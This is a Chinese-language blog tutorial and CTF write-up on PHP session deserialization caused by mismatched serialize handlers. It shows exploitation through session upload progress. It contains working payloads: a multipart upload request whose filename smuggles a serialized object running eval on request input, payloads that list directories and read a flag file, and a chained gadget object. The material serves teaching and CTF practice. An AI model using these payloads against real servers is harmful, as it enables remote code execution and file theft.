PHP session反序列化
<h2>先来了解一下关于<code>session</code>的一些基础知识</h2><p><strong>什么是</strong><strong>session</strong></p>
<p>在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。</p>
<p><strong>session</strong><strong>是如何起作用的</strong></p>
<p>当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。</p>
<p><strong>session_start()</strong><strong>函数以及该函数所起的作用:</strong></p>
<p>当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。</p>
<p><strong>session</strong><strong>存储机制</strong></p>
<p align="left">php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。</p>
<p align="left">存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。</p>
<p>假设我们的环境是xampp,默认配置为:</p>
<p align="left">session.save_path="D:\xampp\tmp" </p>
<p align="left">session.save_handler=files </p>
<p align="left">session.auto_start=0 </p>
<p align="left">session.serialize_handler=php </p>
<p>在默认配置的情况下:</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162426337-1354274619.png" alt=""></p>
<p>最后的session的存储和显示如下:</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162436429-1291109260.png" alt=""></p>
<p>可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是<code>name|s:6:"spoock";</code> 。name是键值,<code>s:6:"spoock";</code>是<code>serialize("spoock")</code>的结果。</p>
<p><strong>了解了有关</strong><strong>session</strong><strong>的概念后,还需要了解</strong><strong>php.ini</strong><strong>中一些</strong><strong>Session</strong><strong>配置:</strong></p>
<p><strong><img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162508338-1753230912.png" alt=""></strong></p>
<p align="left">以上的选项就是与PHP中的Session存储和序列话存储有关的选项。</p>
<p align="left">在使用xampp组件安装中,上述的配置项的设置如下:</p>
<p align="left">session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下</p>
<p align="left">session.save_handler=files 表明session是以文件的方式来进行存储的</p>
<p align="left">session.auto_start=0 表明默认不启动session</p>
<p align="left">session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎</p>
<p align="left">在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。想要知道为什么为出现这个session反序列化漏洞,就需要了解session机制中对序列化是如何处理的。</p>
<p align="left">在php中session有三种序列化的方式,分别是php_serialize, php_binary和php</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162527600-205887534.png" alt=""></p>
<p>这个便是在相应的处理器处理下,<code>session</code>所存储的格式,这里举个例子来了解一下在不同的处理器下,session所储存的格式有什么不一样(测试的时候php版本一定要大于<strong>5.5.4</strong>,不然session写不进文件)):</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162538509-1463556509.png" alt=""></p>
<p>比如这里我get进去一个值为shy,查看一下各个存储格式:</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162550325-865294050.png" alt=""></p>
<p>这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同处理器来处理session文件。</p>
<h4>使用不同的引擎来处理session文件</h4>
<p>php引擎的存储格式是<code>键名</code><code> | serialized_string</code>,而php_serialize引擎的存储格式是<code>serialized_string</code>。如果程序使用两个引擎来分别处理的话就会出现问题。</p>
<p>先以<code>php_serialize</code>的格式存储,从客户端接收参数并存入<code>session</code>变量</p>
<p><strong>(1.php)</strong></p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162612116-1273054040.png" alt=""></p>
<p>接下来使用<code>php</code>处理器读取session文件<br>
<strong>(2.php)</strong></p>
<p><strong><img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162809471-354726334.png" alt=""></strong></p>
<p><img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162622642-1294228611.png" alt=""></p>
<p><strong>攻击思路:</strong><br>
首先访问<code>1.php</code>,在传入的参数最开始加一个<code>'|'</code>,由于<code>1.php</code>是使用<code>php_serialize</code>处理器处理,因此只会把<code>'|'</code>当做一个正常的字符。然后访问<code>2.php</code>,由于用的是<code>php</code>处理器,因此遇到<code>'|'</code>时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对<code>'|'</code>后的值进行反序列化处理。</p>
<p>这里可能会有一个小疑问,为什么在解析session文件时直接对<code>'|'</code>后的值进行反序列化处理,这也是处理器的功能?这个其实是因为<code>session_start()</code>这个函数,可以看下官方说明:</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162840077-2130791932.png" alt=""></p>
<p>首先生成一个<strong>payload</strong>:</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162856990-528415364.png" alt=""><img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162920688-2076655919.png" alt=""></p>
<p> </p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162926134-1920851622.png" alt=""></p>
<p>攻击思路中说到了因为不同的引擎会对<code>'|'</code>,产生歧义,所以在传参时在payload前加个<code>'|'</code>,作为a参数,访问<code>1.php</code>,查看一下本地session文件,发现payload已经存入到<code>session</code>文件</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162938429-543278688.png" alt=""></p>
<p>访问一下<code>2.php</code>看看会有什么结果</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326162947470-804705962.png" alt=""></p>
<p>成功触发了student类的<code>__wakeup()</code>方法,所以这种攻击思路是可行的。但这种方法是在可以对<code>session</code>的进行赋值的,那如果代码中不存在对<code>$_SESSION</code>变量赋值的情况下又该如何利用</p>
<p> </p>
<h4>没有$_SESSION变量赋值</h4>
<p>在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个<strong>键值对</strong>,值中刚好存在<strong>用户可控的部分</strong>,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。在session.upload_process.enabled开启时会启用这个功能,在php.ini中会默认启用这个功能。</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163016568-610440543.png" alt=""></p>
<p>上传文件时,如果 POST 一个名为 <code>PHP_SESSION_UPLOAD_PROGRESS</code> 的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,还需要进行转义,上传的页面的写法如下:</p>
<table style="width: 0" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<pre>1<br>
2<br>
3<br>
4<br>
5</pre>
</td>
<td>
<pre><form action="http://example.com/index.php" method="POST" enctype="multipart/form-data"><br>
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><br>
<input type="file" name="file" /><br>
<input type="submit" /><br>
</form></pre>
</td>
</tr>
</tbody>
</table>
<p>最后 Session 就会保存上传的文件名。如果没有提供写入 Session 的地方,可以用这种方法。POST 请求的数据包:</p>
<table style="width: 0" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<pre>1<br>
2<br>
3<br>
4<br>
5<br>
6<br>
7<br>
8<br>
9<br>
10<br>
11<br>
12<br>
13<br>
14<br>
15<br>
16<br>
17</pre>
</td>
<td>
<pre>POST / HTTP/1.1<br>
Host: web.jarvisoj.com:32784<br>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypN9LkEc0KCMj7TfC<br>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3208.0 Safari/537.36<br>
Cookie: PHPSESSID=jfdu23je5jlu43sfgc3akp3037<br>
Content-Length: 302<br>
<br>
------WebKitFormBoundarypN9LkEc0KCMj7TfC<br>
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<br>
<br>
123<br>
------WebKitFormBoundarypN9LkEc0KCMj7TfC<br>
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"echo \"waterfood\"; eval($_REQUEST[\"v\"]);\";}"<br>
Content-Type: text/plain<br>
<br>
123<br>
------WebKitFormBoundarypN9LkEc0KCMj7TfC--</pre>
</td>
</tr>
</tbody>
</table>
<p><strong>这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时</strong><code><strong>POST</strong></code><strong>一个与</strong><code><strong>session.upload_process.name</strong></code><strong>的同名变量(默认为</strong><strong>PHP_SESSION_UPLOAD_PROGRESS</strong><strong>)。后端会自动将</strong><code><strong>POST</strong></code><strong>的这个</strong><strong>同名变量作为键</strong><strong>进行</strong><strong>序列化</strong><strong>然后存储到</strong><code><strong>session</strong></code><strong>文件中。下次请求就会</strong><strong>反序列化</strong><strong>session</strong><strong>文件</strong><strong>,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的</strong><strong>session</strong><strong>处理引擎</strong>。</p>
<p> </p>
<p><strong>举个栗子:</strong></p>
<p><strong><img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163149363-953150789.png" alt=""></strong></p>
<p>当我们随便传入一个值时,便会触发<code>__construct()</code>魔法函数,从而出现<code>phpinfo</code>页面,在phpinfo页面发现</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163316519-562176124.png" alt=""></p>
<p>可以看到题目环境中的 <strong>session.serialize_handler</strong> 默认为 <strong>php_serialize</strong> 处理器,而程序使用的却是 <strong>php</strong> 处理器,而且开头 <strong>第4行</strong> 使用了 <strong>session_start()</strong> 函数,那么我们就可以利用 <strong>session.upload_progress.enabled</strong> 来伪造 <strong>session</strong> ,然后在 <strong>PHP</strong> 反序列化 <strong>session</strong> 文件时,还原 <strong>OowoO</strong> 类,最终执行 <strong>eval</strong> 函数。</p>
<p>通过<code>POST</code>方法来构造数据传入<code>$_SESSION</code>,首先构造<code>POST</code>提交表单</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163336303-663690860.png" alt=""></p>
<p> </p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163343081-2071949584.png" alt=""></p>
<p>接下来构造序列化payload</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163352379-1753053904.png" alt=""></p>
<p>将payload改为如下代码:<strong>print_r(scandir(dirname(__FILE__)))</strong>;</p>
<pre>#scandir 目录中的文件和目录</pre>
<pre>#dirname 函数返回路径中的目录部分</pre>
<pre>#__FILE__ php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名</pre>
<pre>#序列化后的结果 O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}</pre>
<p>为防止双引号被转义,在双引号前加上<code>\</code>,除此之外还要加上<code>| </code></p>
<p>|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}</p>
<p>在这个页面随便上传一个文件,然后抓包修改filename的值</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163432940-808409364.png" alt=""></p>
<p>可以看到<code>Here_1s_7he_fl4g_buT_You_Cannot_see.php</code>这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163641695-1332349660.png" alt=""></p>
<p>$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的是,这是服务器端的绝对路径。</p>
<p>既然知道了路径,就继续构造payload即可</p>
<p>print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));</p>
<p><em>#file_get_contents() </em><em>函数把整个文件读入一个字符串中。</em></p>
<p>接下来的就还是序列化然后改一下格式传入即可,后面的就不再写了</p>
<p> </p>
<p><strong>再举个栗子:</strong></p>
<p><strong>class.php</strong></p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163728729-49736234.png" alt=""></p>
<p><strong>index.php</strong></p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163814970-266525979.png" alt=""></p>
<p>通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。</p>
<p>那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:</p>
<p><strong>myindex.php</strong></p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163825666-570226668.png" alt=""></p>
<p>在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是:</p>
<p><strong>O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}</strong></p>
<p>这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的<code>echo "spoock";</code>的方法了。</p>
<p>写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:</p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202003/1964477-20200326163847445-997148600.png" alt=""></p>
<p>最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。</p>
<p>那么最终写入的文件名是<code>|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}</code>。注意与本地反序列化不一样的地方是要在最前方加上| </p>
<p><strong> </strong></p>
</div>
<div id="MySignature" role="contentinfo">
永远相信永远热爱<br><br>
来源:https://www.cnblogs.com/yokan/p/12575371.html
頁:
[1]